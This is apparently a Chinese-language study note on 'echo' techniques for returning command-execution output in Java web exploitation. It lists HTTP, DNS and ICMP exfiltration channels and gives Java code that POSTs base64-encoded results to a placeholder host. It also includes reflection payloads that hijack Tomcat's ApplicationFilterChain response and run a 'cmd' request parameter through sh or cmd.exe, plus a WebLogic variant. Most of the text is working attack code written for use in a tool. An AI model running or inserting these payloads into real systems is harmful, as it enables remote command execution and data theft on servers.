回显技术学习
写在前面
通常我们在进行命令执行,文件读取等情况,需要查看命令执行的结果的时候,可能会出现无法查看返回结果的情况,这里学习一下几种通用的回显技术,并集成到工具当中。
通用回显技术
对于出网机器
使用http传输,如wget,curl,certutil将回显信息爬出
对于不出网机器
使用DNS传输,ICMP传输,powershell中的wget,curl等传输
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| String target = "xxxxx"; BASE64Encoder encoder = new BASE64Encoder(); String encodeResult = encoder.encode(this.result.getBytes()); URL url = new URL(target); String body = "{\"result\":\"" + encodeResult + "\"}"; HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestProperty("Content-Type", "application/json"); connection.setDoOutput(true); connection.setRequestProperty("Content-Length", String.valueOf(body.length())); connection.setConnectTimeout(2000); connection.setReadTimeout(5000); connection.getOutputStream().write(body.getBytes()); BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8)); in.close(); connection.disconnect();
|


Tomcat型回显
我们的需求就是能够找到一个通用的 Response类实例,然后直接写入回显内容
进而需要找到如下条件的变量实例:
是一个ThreadLocal,这样才能获取到当前线程的请求信息。而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例
在 org.apache.catalina.core.ApplicationFilterChain#internalDoFilter()
和静态代码块中可以看到初始化了一个当前线程并设置了request 和 response

我们需要做的就是将WRAP_SAME_OBJECT
变量设置为true,然后从 lastServicedResponse 中取 response 变量即可。注意到 WRAP_SAME_OBJECT 变量为final字段,所以我们想要通过反射修改的话需要一些特殊操作

将 private 修饰的字段变为 accessible;再将 final 修饰符去掉;
1 2 3 4 5 6 7 8 9 10
| static void changeStaticFinal(Field field, Object newValue) throws Exception { field.setAccessible(true); Field modifersField = Field.class.getDeclaredField("modifiers"); modifersField.setAccessible(true); modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); field.set(null, newValue); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null); boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null); String cmd = lastServicedRequest != null ? lastServicedRequest.get().getParameter("cmd") : null; if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) { lastServicedRequestField.set(null, new ThreadLocal<>()); lastServicedResponseField.set(null, new ThreadLocal<>()); WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); } else if (cmd != null) { ServletResponse responseFacade = lastServicedResponse.get(); responseFacade.getWriter(); java.io.Writer w = responseFacade.getWriter(); Field responseField = ResponseFacade.class.getDeclaredField("response"); responseField.setAccessible(true); Response response = (Response) responseField.get(responseFacade); Field usingWriter = Response.class.getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; w.write(output); w.flush(); }
|
这里有个细节就是字段 usingWriter 的作用,实际上是为了解决网页不会输出原来正常内容的问题,writer的占用将会导致原先的response得不到输出,从而在原有业务逻辑中抛出异常
验证的时候需要刷新两次的原因是因为第一次只是通过反射去修改值,这样在之后的运行中就会cache我们的请求,从而也就能获取到response。
weblogic 型回显
原理和上面一样,也是筛选出可以调用req 和 rep内容的线程,对其回显内容进行改造,weblogic 中的 ServletRequestImpl 类符合条件
((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("xxxxxxx")
,就会在返回包中看到返回xxxxxxx
按照字节流进行输出,如下调用方式:(weblogic10.3.6)
1 2
| ((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().writeStream(new StringInputStream("xxxx")) ((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().flush()
|
同时,为了避免其他输出信息的干扰,如下方式可以将结果覆盖为空
1
| ((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("")
|
结合一下,利用反射构造的结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| Class<?> clazz = Class.forName("weblogic.work.ExecuteThread"); Method m = clazz.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread());
Class<?> servletRequestImpl = Class.forName("weblogic.servlet.internal.ServletRequestImpl"); Method m2 = servletRequestImpl.getDeclaredMethod("getResponse"); Object response = m2.invoke(currentWork);
Class<?> servletResponseImpl = Class.forName("weblogic.servlet.internal.ServletResponseImpl"); Method m3 = servletResponseImpl.getDeclaredMethod("getServletOutputStream"); Object outputStream = m3.invoke(response);
Class<?> stringInputStream = Class.forName("weblogic.xml.util.StringInputStream"); Constructor<?> constructor = stringInputStream.getDeclaredConstructor(String.class); Object resultStream = constructor.newInstance(this.result);
Class<?> servletOutputStreamImpl = Class.forName("weblogic.servlet.internal.ServletOutputStreamImpl"); Method m4 = servletOutputStreamImpl.getDeclaredMethod("writeStream", stringInputStream); m4.invoke(outputStream, resultStream);
Method m5 = servletOutputStreamImpl.getDeclaredMethod("flush"); m5.invoke(outputStream);
Method m6 = servletResponseImpl.getDeclaredMethod("getWriter"); Object writer = m6.invoke(response);
Class<?> printWriter = Class.forName("java.io.PrintWriter"); Method m7 = printWriter.getDeclaredMethod("write", String.class); m7.invoke(writer, "");
|
TODO:待深入
参考链接
https://cloud.tencent.com/developer/article/1956480
https://xz.aliyun.com/t/7348
https://www.jianshu.com/p/2d490b0155ad
https://l3yx.github.io/2020/03/31/Java-Web%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%9B%9E%E6%98%BE%E6%80%BB%E7%BB%93/#%E5%9F%BA%E4%BA%8E%E5%85%A8%E5%B1%80%E5%82%A8%E5%AD%98%E8%8E%B7%E5%8F%96Tomcat-Response